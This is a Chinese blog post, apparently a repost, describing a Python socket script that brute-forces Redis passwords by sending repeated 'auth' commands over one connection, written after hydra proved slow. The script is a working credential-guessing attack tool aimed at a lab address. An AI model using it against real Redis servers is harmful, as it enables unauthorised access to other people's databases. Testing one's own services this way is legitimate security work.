• redis密码破解(python使用socket模块)


             偶尔看到一篇讲述redis未授权访问漏洞的,提到用hydra进行redis密码的破解。测试了下,发现安装的hydra竟然无法破解出密码,且速度很慢(hydra版本 v8.2-dev)。

        如上图,用一个for循环生成个随机密码测试文件,将正确密码写入。

    如上图,hydra竟然没破解出密码,不知道是不是bug,而且一分钟才运行差不多10000次密码猜测。而redis的配置文件里面提到redis能支持每秒150K的密码猜测。

     于是想用Python写个破解脚本。ipython下用socket模块测试了下,建立tcp连接后,auth认证成功,服务器会返回+ok,错误密码会返回“ERR,invalid password”:

    代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-9-22 下午11:03
    # @Site    : 
    # @File    : redisCrack.py
    # @Software: PyCharm
    
    import socket
    import sys
    
    redisCrackFile="redisPass.txt"   #破解密码文件
    
    ip="192.168.36.3"
    port=6379
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,port))      #建立tcp连接
    with open(redisCrackFile,"r") as f:
        for i in f:
            s.send("auth %s 
    " %(i))    #在一个tcp连接里多次使用auth命令猜测
            authResult=s.recv(1024)
            if '+OK' in authResult:
                print "the redis pass is:%s" %i
                s.close()
                sys.exit(0)

    测试如下:

  • 相关阅读:
    oauth2的简单介绍以及应用
    springboot查询数据库,js实现二级联动效果
    PHP的简单了解
    JavaScript基础13——面向对象
    JavaScript基础12——运动
    JavaScript基础10——正则
    JavaScript基础09——事件驱动
    JavaScript基础08——DOM
    JavaScript基础07——BOM
    JavaScript基础06——Math对象和日期对象
  • 原文地址:https://www.cnblogs.com/360linux/p/13062072.html
Copyright © 2020-2023  润新知